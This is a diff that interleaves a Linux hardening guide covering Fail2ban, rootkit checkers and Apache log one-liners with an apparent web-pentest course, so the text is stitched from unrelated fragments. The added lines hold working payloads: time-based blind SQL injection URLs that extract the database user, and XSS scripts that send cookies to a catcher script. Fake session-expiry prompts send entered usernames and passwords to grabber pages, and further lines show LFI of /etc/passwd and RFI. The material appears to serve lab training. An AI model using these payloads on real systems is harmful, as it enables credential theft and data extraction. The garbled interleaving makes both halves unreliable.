+---------------------------Paste these one line at a time into Firefox-----------------------------------
-Fail2ban is more advanced than DenyHosts as it extends the log monitoring to other services including SSH, Apache, Courier, FTP, and more.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-Fail2ban scans log files and bans IPs that show the malicious signs -- too many password failures, seeking for exploits, etc.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-Generally Fail2Ban then used to update firewall rules to reject the IP addresses for a specified amount of time, although any arbitrary other action could also be configured.
+---------------------------------------------------------------------------------------------------------
-Out of the box Fail2Ban comes with filters for various services (apache, courier, ftp, ssh, etc).
+
-Open a Terminal and enter the following :
+O - 3rd Character
-sudo apt-get install fail2ban
+---------------------------Paste these one line at a time into Firefox-----------------------------------
-After installation edit the configuration file /etc/fail2ban/jail.local  and create the filter rules as required.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-To edit the settings open a terminal window and enter:
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
-sudo vi /etc/fail2ban/jail.conf
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-Activate all the services you would like fail2ban to monitor by changing enabled = false to enabled = true
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-For example if you would like to enable the SSH monitoring and banning jail, find the line below and change enabled from false to true. Thats it.
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
-[sshd]
+http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
-enabled  = true
+---------------------------------------------------------------------------------------------------------
-port     = ssh
+
-filter   = sshd
+
-logpath  = /var/log/auth.log
+###############################################################################
-maxretry = 3
+# What is XSS                                                                 #
-If you have selected a non-standard SSH port in step 3 then you need to change the port setting in fail2ban from ssh which by default is port 22, to your new port number, for example if you have chosen 1234 then port = 1234
+# https://s3.amazonaws.com/infosecaddicts-files/2-Intro_To_XSS.pptx            #
-[sshd]
+###############################################################################
 
-enabled  = true
+OK - what is Cross Site Scripting (XSS)
-port     = <ENTER YOUR SSH PORT NUMBER HERE>
+
-filter   = sshd
+1. Use Firefox to browse to the following location:
-logpath  = /var/log/auth.log
+    ---------------------------Paste this into Firefox-----------------------------------
-maxretry = 3
+    http://45.63.104.73/xss_practice/
-If you would like to receive emails from Fail2Ban if hosts are banned change the following line to your email address.
+    -------------------------------------------------------------------------------------
-destemail = root@localhost
+
-and change the following line from :
+    A really simple search page that is vulnerable should come up.
-action = %(action_)s
+
-to:
+
-action = %(action_mwl)s
+
-You can also create rule filters for the various services that you would like fail2ban to monitor that is not supplied by default.
+
-sudo vi /etc/fail2ban/jail.local
+2. In the search box type:
-Good instructions on how to configure fail2ban and create the various filters can be found on HowtoForge - click here for an example
+    ---------------------------Paste this into Firefox-----------------------------------
-When done with the configuration of Fail2Ban restart the service with :
+    <script>alert('So this is XSS')</script>
-sudo service fail2ban restart
+    -------------------------------------------------------------------------------------
-You can also check the status with.
+
-sudo fail2ban-client status
+
-14. Intrusion Detection - PSAD.
+    This should pop-up an alert window with your message in it proving XSS is in fact possible.
     Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
-Cipherdyne PSAD is a collection of three lightweight system daemons that run on Linux machines and analyze iptables log messages to detect port scans and other suspicious traffic.
+
-To install the latest version from the source files follow these instruction : How to install PSAD Intrusion Detection on Ubuntu 12.04 LTS server
+
-OR install the older version from the Ubuntu software repositories, open a Terminal and enter the following :
+3. In the search box type:
-sudo apt-get install psad
+    ---------------------------Paste this into Firefox-----------------------------------
-Then for basic configuration see How to install PSAD Intrusion Detection on Ubuntu 12.04 LTS server and follow from step 2:
+    <script>alert(document.cookie)</script>
-15. Check for rootkits - RKHunter and CHKRootKit.
+    -------------------------------------------------------------------------------------
 
-Both RKHunter and CHKRootkit basically do the same thing - check your system for rootkits. No harm in using both.
+
-Open a Terminal and enter the following :
+    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
-sudo apt-get install rkhunter chkrootkit
+    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
-To run chkrootkit open a terminal window and enter :
+
-sudo chkrootkit
+4. Now replace that alert script with:
-To update and run RKHunter. Open a Terminal and enter the following :
+    ---------------------------Paste this into Firefox-----------------------------------
-sudo rkhunter --update
+    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
-sudo rkhunter --propupd
+    -------------------------------------------------------------------------------------
-sudo rkhunter --check
+
-16. Scan open ports - Nmap.
+This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
 
-Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing.
+
-Open a Terminal and enter the following :
+5. Now view the stolen cookie at:
-sudo apt-get install nmap
+   ---------------------------Paste this into Firefox-----------------------------------
-Scan your system for open ports with :
+   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
-nmap -v -sT localhost
+   -------------------------------------------------------------------------------------
-SYN scanning with the following :
+
-sudo nmap -v -sS localhost
+The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
-17. Analyse system LOG files - LogWatch.
+
 
-Logwatch is a customizable log analysis system. Logwatch parses through your system's logs and creates a report analyzing areas that you specify. Logwatch is easy to use and will work right out of the package on most systems.
+
-Open a Terminal and enter the following :
+
-sudo apt-get install logwatch libdate-manip-perl
+
-To view logwatch output use less :
+
-sudo logwatch | less
+
-To email a logwatch report for the past 7 days to an email address, enter the following and replace mail@domain.com with the required email. :
+# A Better Way To Demo XSS #
-sudo logwatch --mailto mail@domain.com --output mail --format html --range 'between -7 days and today'
+
-18. Apparmor - Application Armor.
+
 
-More information can be found here. Ubuntu Server Guide - Apparmor
+Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
-It is installed by default since Ubuntu 7.04.
+
-Open a Terminal and enter the following :
+
-sudo apt-get install apparmor apparmor-profiles
+Use Firefox to browse to the following location:
-Check to see if things are running :
+---------------------------Paste this into Firefox-----------------------------------
-sudo apparmor_status
+    http://45.63.104.73/xss_practice/
-19. Audit your system security - Tiger and Tripwire.
+-------------------------------------------------------------------------------------
 
-Tiger is a security tool that can be use both as a security audit and intrusion detection system.
+
-Tripwire is a host-based intrusion detection system (HIDS) that checks file and folder integrity.
+Paste this in the search box
-Open a Terminal and enter the following :
+----------------------------
-sudo apt-get install tiger tripwire
+
-To setup Tripwire good installation guides can be found on Digital Ocean here and on Unixmen here
+
-To run tiger enter :
+Option 1
-sudo tiger
+--------
-All Tiger output can be found in the /var/log/tiger
+---------------------------Paste this into Firefox-----------------------------------
-To view the tiger security reports, open a Terminal and enter the following :
+<script>
-sudo less /var/log/tiger/security.report.*
+password=prompt('Your session is expired. Please enter your password to continue',' ');
 document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
 </script>
 -------------------------------------------------------------------------------------
 
-- The following command line executables are found in the Mac as well as most Linux Distributions.
+Now view the stolen cookie at:
 ---------------------------Paste this into Firefox-----------------------------------
     http://45.63.104.73/xss_practice/passwords.html
 -------------------------------------------------------------------------------------
 
 
 Option 2
 --------
 -------------------------Paste this into Firefox-----------------------------------
 <script>
 username=prompt('Please enter your username',' ');
-###############
+password=prompt('Please enter your password',' ');
-# Apache Logs #
+document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
-###############
+</script>
 -------------------------------------------------------------------------------------
 
-http://www.the-art-of-web.com/system/logs/
+
 
-wget https://s3.amazonaws.com/SecureNinja/Python/access_log
+Now view the stolen cookie at:
 http://45.63.104.73/xss_practice/username_password_logs.html
 
-- You want to list all user agents ordered by the number of times they appear (descending order):
+
 
-awk -F\" '{print $6}' access_log | sort | uniq -c | sort -fr
+
 #########################################
 # Let's try a local file include (LFI)  #
 #########################################
-- Using the default separator which is any white-space (spaces or tabs) we get the following:
+- Here is an example of an LFI
 - Open this page in Firefox:
-awk '{print $1}' access_log         # ip address (%h)
+-------------------------Paste this into Firefox-----------------------------------
-awk '{print $2}' access_log         # RFC 1413 identity (%l)
+http://45.63.104.73/showfile.php?filename=contactus.txt
-awk '{print $3}' access_log         # userid (%u)
+-------------------------------------------------------------------------------------
-awk '{print $4,5}' access_log       # date/time (%t)
+
-awk '{print $9}' access_log         # status code (%>s)
+
-awk '{print $10}' access_log        # size (%b)
+- Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
 - Here you see a direct reference to a file on the local filesystem of the victim machine.
-- You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the way the lines are 'exploded' and allows the following:
+- You can attack this by doing the following:
 -------------------------Paste this into Firefox-----------------------------------
-awk -F\" '{print $2}' access_log    # request line (%r)
+http://45.63.104.73/showfile.php?filename=/etc/passwd
-awk -F\" '{print $4}' access_log    # referer
+-------------------------------------------------------------------------------------
-awk -F\" '{print $6}' access_log    # user agent
+
 
 - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
-awk -F\" '{print $6}' access_log \
+- somewhere else on the Internet. Here is an example of a text file on the web:
-  | sed 's/(\([^;]\+; [^;]\+\)[^)]*)/(\1)/' \
+-------------------------Paste this into Firefox-----------------------------------
-  | sort | uniq -c | sort -fr
+http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
 -------------------------------------------------------------------------------------
 
-- The next step is to start filtering the output so you can narrow down on a certain page or referer. Would you like to know which pages Google has been requesting from your site?
+- Now we can attack the target via RFI like this:
 -------------------------Paste this into Firefox-----------------------------------
-awk -F\" '($6 ~ /Googlebot/){print $2}' access_log | awk '{print $2}'
+http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
-Or who's been looking at your guestbook?
+-------------------------------------------------------------------------------------
 
-awk -F\" '($2 ~ /guestbook\.html/){print $6}' access_log
+
 
 ###############################
 # How much fuzzing is enough? #
-https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/
+
 There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
-# top 20 URLs from the last 5000 hits
+
-tail -5000 ./access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
+Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
-tail -5000 ./access_log | awk '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
+
 
-# top 20 URLS excluding POST data from the last 5000 hits
+Step 1: Ask yourself the 3 questions per page of the site.
-tail -5000 ./access_log | awk -F"[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
+
-tail -5000 ./access_log | awk -F"[ ?]" '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
+Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
 
-# top 20 IPs from the last 5000 hits
+Step 3: When you load your fuzz strings - use the following decision tree
-tail -5000 ./access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
+
-tail -5000 ./access_log | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
+    - Are the fuzz strings causing a default error message (example 404)?
         - If this is the case then it is most likely NOT vulnerable
-# top 20 URLs requested from a certain ip from the last 5000 hits
+
-IP=1.2.3.4; tail -5000 ./access_log | grep $IP | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
+    - Are the fuzz strings causing a WAF or LB custom error message?
-IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
+        - If this is the case then you need to find an encoding method to bypass
 
-# top 20 URLS requested from a certain ip excluding, excluding POST data, from the last 5000 hits
+
-IP=1.2.3.4; tail -5000 ./access_log | fgrep $IP | awk -F "[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
+    - Are the fuzz strings causing an error message that discloses the backend type?
-IP=1.2.3.4; tail -5000 ./access_log | awk -F"[ ?]" -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
+        - If yes, then identify DB type and find correct syntax to successfully exploit
         - Some example strings that I use are:
-# top 20 referrers from the last 5000 hits
+            '
-tail -5000 ./access_log | awk '{print $11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20
+            "
-tail -5000 ./access_log | awk '{freq[$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20
+            ()          <----- Take the parameter value and put it in parenthesis
             (5-1)       <----- See if you can perform an arithmetic function
-# top 20 user agents from the last 5000 hits
+
-tail -5000 ./access_log | cut -d\  -f12- | sort | uniq -c | sort -rn | head -20
+
     - Are the fuzz strings rendering executable code?
-# sum of data (in MB) transferred in the last 5000 hits
+        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
-tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}'
+        - Some example strings that I use are:
             <b>hello</b>
             <u>hello</u>
             <script>alert(123);</script>
             <script>alert(xss);</script>
             <script>alert('xss');</script>
             <script>alert("xss");</script>